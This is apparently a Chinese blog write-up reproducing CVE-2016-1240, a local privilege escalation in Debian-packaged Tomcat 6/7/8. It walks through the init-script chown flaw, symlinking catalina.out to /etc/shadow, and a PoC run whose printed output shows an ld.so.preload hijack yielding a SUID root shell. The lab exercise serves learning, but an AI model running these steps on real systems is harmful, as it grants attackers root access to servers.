先看下漏洞原理:
在Debian系统的Linux上管理员通常利用apt-get进行包管理,deb包是Unixar的标准归档,讲包文件信息以及包内容,经过gzip和tar打包而成。
该问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本,该脚本位于/etc/init.d/tomcat*, 跟踪代码如下:
171 # Run the catalina.sh script as a daemon
172 set +e173 touch “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out
174 chown $TOMCAT7_USER “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out
175 start-stop-daemon –start -b -u “$TOMCAT7_USER” -g “$TOMCAT7_GROUP” \
176 -c “$TOMCAT7_USER” -d “$CATALINA_TMPDIR” -p “$CATALINA_PID” \
177 -x /bin/bash — -c “$AUTHBIND_COMMAND $TOMCAT_SH”
178 status=”$?”
179 set +a -e
在174行,Tomcat服务在启动时,会将log文件catalina.out的所有者改为Tomcat用户, 而启动脚本通常由root用户调用。如果将catalina.out修改为指向任意文件的链接将会导致攻击者以高权限随意操作任意系统文件。
首先注意影响范围:
Tomcat 8 <= 8.0.36-2
Tomcat 7 <= 7.0.70-2
Tomcat 6 <= 6.0.45+dfsg-1~deb8u1
受影响的系统包括Debian、Ubuntu,其他使用相应deb包的系统也可能受到影响。
正文:
我自己用的ubuntu实验的,先安装上tomcat6
1
|
sudo apt-get install tomcat6 |
后话:本来想在kali下复现的,然后自己在官网上下的tomcat6的安装包,解压后直接使用(额,这tm也太快了)发现/etc/init.d目录下根本没有tomcat这个文件,启动方式直接启动startup.sh脚本直接启动的,搞了半天,发现不对劲,貌似deb包安装Tomcat安装的程序才会出现这样的漏洞,看来应该要用apt-get install这个命令吧,但在kali下执行这条命令无法定位软件包,貌似是阿里源的问题(更新过的)
1
|
sudo usermod -s /bin/bash -G sudo tomcat6passwd tomcat6 #设置密码,不设置的话可以无法sudo提升权限su -l tomcat6 #登陆tocmat6用户 |

先来简单验证下:
1
2
3
|
cd /var/log/tomcat6 ln -fs /etc/shadow /var/log/tomcat6/catalina .out head cataline.out |
1
|
sudo service tomcat6 restart |
重启tomcat需要root权限,这是为什么需要给tomcat6用户添加进sudo组的原因

使用poc提权
1
2
3
4
|
touch poc.sh #注意都是以tomcat6用户的身份执行命令的 vim poc.sh #将Poc内容粘贴进来 chmod 777 poc.sh #将脚本设置为可执行 |
1
|
sudo service tomcat6 restart |
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
tomcat6@lj: /var/log/tomcat6 $ . /poc .sh /var/log/tomcat6/catalina .out Tomcat 6 /7/8 on Debian-based distros - Local Root Privilege Escalation Exploit CVE-2016-1240 Discovered and coded by: Dawid Golunski [url]http: //legalhackers .com[ /url ] [+] Starting the exploit in [active] mode with the following privileges: uid=117(tomcat6) gid=126(tomcat6) 组=126(tomcat6),27( sudo ) [+] Target Tomcat log file set to /var/log/tomcat6/catalina .out [+] Compiling the privesc shared library ( /tmp/privesclib .c) [+] Backdoor /low-priv shell installed at: -rwxr-xr-x 1 tomcat6 tomcat6 1017016 10月 8 22:51 /tmp/tomcatrootsh [+] Symlink created at: lrwxrwxrwx 1 tomcat6 tomcat6 18 10月 8 22:51 /var/log/tomcat6/catalina .out -> /etc/ld .so.preload [+] Waiting for Tomcat to re- open the logs /Tomcat service restart... You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;) [+] Tomcat restarted. The /etc/ld .so.preload file got created with tomcat privileges: -rw-r--r-- 1 tomcat6 root 19 10月 8 22:51 /etc/ld .so.preload [+] Adding /tmp/privesclib .so shared lib to /etc/ld .so.preload [+] The /etc/ld .so.preload file now contains: /tmp/privesclib .so [+] Escalating privileges via the /usr/bin/sudo SUID binary to get root! [+] Rootshell got assigned root SUID perms at: -rwsrwxrwx 1 root root 1017016 10月 8 22:51 /tmp/tomcatrootsh Please tell me you're seeing this too ;) [+] Executing the rootshell /tmp/tomcatrootsh now! tomcatrootsh-4.3 # whoami root tomcatrootsh-4.3 # id uid=117(tomcat6) gid=126(tomcat6) euid=0(root) 组=0(root),27( sudo ),126(tomcat6) |

总结:1)可以看到,这个提权方法还是相对有些鸡肋的,需要等待tomcat6重启才可以获取root权限 2)收获很大,继续加油